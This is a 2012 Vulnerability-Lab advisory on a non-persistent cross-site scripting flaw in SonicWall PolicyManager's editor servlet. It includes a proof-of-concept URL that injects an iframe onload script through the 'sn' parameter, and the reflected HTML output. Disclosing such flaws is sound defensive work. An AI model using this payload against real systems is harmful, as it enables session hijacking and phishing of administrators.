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SonicWall PolicyManager Module - Cross Site Vulnerability

SonicWall PolicyManager Cross Site Vulnerability 2012-09-0

Code
Document Title:
===============
SonicWall PolicyManager Module - Cross Site Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=529


Release Date:
=============
2012-09-01


Vulnerability Laboratory ID (VL-ID):
====================================
590


Common Vulnerability Scoring System:
====================================
2


Product & Service Introduction:
===============================
Dell SonicWALL streamlines inbound and outbound email policy management. For instance, administrators can 
easily customize rules to simply detect and block specific types of attachments; reroute e-mail from 
competitors; or check all outbound e-mail for specific words and phrases.

(Copy of the Vendor Homepage: http://www.sonicwall.com/us/products/364.html )


Abstract Advisory Information:
==============================
The vulnerability-lab team discovered a non-persistent cross site scripting vulnerability in Sonicwalls PolicyManager.


Vulnerability Disclosure Timeline:
==================================
2012-06-01:	Researcher Notification & Coordination
2012-06-02:	Vendor Notification
2012-06-04:	Vendor Response/Feedback
2012-00-00:	Vendor Fix/Patch
2012-00-00:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A Cross Site Scripting Vulnerability has been detected in Sonicwalls PolicyManager.
The vulnerability is located in the exception-handling of the template errors when processing to load script 
code out of the sn sn web context. Successful exploitation results in session hijacking, non -persistent account 
phishing or client side content manipulation. The bug is located in the exception-handling input/output web 
context of the policy editor servlet request.

Vulnerable Module(s):
			[+] Template - Exception Handling  - [SN] Input/Output

Picture(s):
			../1.png


Proof of Concept (PoC):
=======================
The client side cross site scripting vulnerability can be exploited by remote attackers with medium or high 
required user inter action. For demonstration or reproduce ...

https://policymanager.127.0.0.1:1337/editor/servlet/editorservlet
?sn=0017C5150560%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C&event=summary.view&info=true&ui=2&locale=en


Review:  Exception Handling Listing - Editor Servlet SN

<html><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>
No template</title></head><body>No template found for sn=0017C5150560"
><iframe src="editorservlet-Dateien/a.htm" onload='alert("VL")' <.<="" body=""></HTML>
</iframe></body></html>


Security Risk:
==============
The security risk of the non-persistent cross site vulnerability is estimated as low(+).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri ([email protected])


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

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    				   	Copyright © 2012 | Vulnerability Laboratory



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